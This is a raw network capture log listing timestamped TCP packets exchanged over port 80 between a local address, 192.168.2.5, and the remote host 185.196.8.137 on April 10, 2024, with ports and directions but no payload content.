Apr 10, 2024 10:24:08.786159039 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786176920 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786205053 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786242962 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786268950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786282063 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786294937 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786308050 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786322117 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786323071 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786350965 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786365986 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786372900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786386013 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786397934 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786408901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786423922 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786427021 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786437035 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786449909 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786457062 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786463022 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786475897 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786475897 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786489964 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786501884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786513090 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786514997 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786528111 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786531925 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786540985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786552906 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786559105 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786566019 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786575079 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786581039 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786593914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786607027 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786609888 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786633015 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786633968 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786647081 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786659002 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786670923 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786673069 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786684036 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786695004 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786698103 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786705971 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786716938 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786725044 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786748886 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786760092 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786772013 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786781073 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786792994 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786796093 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786804914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786817074 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786823034 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786828995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786840916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786844015 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786870956 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786881924 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786895037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786906004 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786917925 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786942959 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.786983967 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.786995888 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787007093 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787028074 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787130117 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787142992 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787153959 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787163973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787170887 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787177086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787188053 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787190914 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787199974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787210941 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787220955 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787223101 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787235022 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787245035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787246943 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787254095 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787259102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787270069 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787292957 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787296057 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787303925 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787313938 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787322044 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787328005 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787339926 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787352085 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787352085 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787363052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787380934 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787394047 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787414074 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787426949 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787437916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787448883 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787467957 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787481070 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787486076 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787492037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787503958 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787516117 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787520885 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787528992 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787539005 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787549973 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787570953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787578106 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787583113 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787616968 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787622929 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787627935 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787640095 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787651062 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787652016 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787681103 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787693024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787705898 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787734032 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787745953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787759066 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787786007 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787801981 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787813902 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787826061 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787842035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787861109 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787868977 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787894011 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787908077 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787919044 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787930012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787941933 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787945986 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787954092 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787965059 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787976027 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.787977934 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.787988901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788000107 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788006067 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788034916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788036108 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788048029 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788059950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788072109 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788083076 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788091898 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788119078 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788125992 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788136959 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788146973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788158894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788170099 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788170099 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788181067 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788188934 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788214922 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788214922 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788256884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788269043 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788280010 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788284063 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788286924 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788292885 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788299084 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788310051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788316965 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788321018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788331032 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788342953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788346052 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788355112 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788366079 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788369894 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788378000 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.788382053 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788382053 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.788407087 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.789144039 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.975290060 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.975341082 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:09.163042068 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:09.183221102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:09.233201981 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:10.865295887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:10.865503073 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.051155090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.051199913 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.051284075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.051326990 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.052202940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.052212000 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.237698078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.237725019 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.238476992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.238634109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.238884926 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.238945961 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259433985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259464025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259574890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259574890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259641886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259641886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259723902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259723902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259756088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259840012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.259840012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260253906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260273933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260273933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260273933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260273933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260273933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260350943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260452986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260452986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260452986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260503054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260516882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260612965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260612965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260612965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260709047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260709047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260709047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260802984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260802984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260802984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260845900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260876894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260948896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260948896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260965109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.260993958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261060953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261060953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261147976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261147976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261147976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261182070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261243105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261243105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261284113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261328936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261328936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261398077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261398077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261461973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261461973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261563063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261563063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261563063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261668921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261668921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261668921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261707067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261794090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261794090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261794090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261857986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261857986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.261914015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262013912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262013912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262013912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262119055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262119055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262119055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262238026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262238026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262238026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262306929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262306929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262403965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262403965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262403965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262504101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262504101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262504101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262578011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262578011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262624979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262624979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262676954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262770891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262770891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262936115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262936115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.262936115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263010025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263010025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263098001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263098001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263183117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263183117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263183117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263262033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263262033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263361931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263361931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263361931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263433933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263433933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263500929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263500929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263571024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263571024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263761044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263854980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263855934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263855934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.263959885 CEST	49718	80	192.168.2.5	185.196.8.137
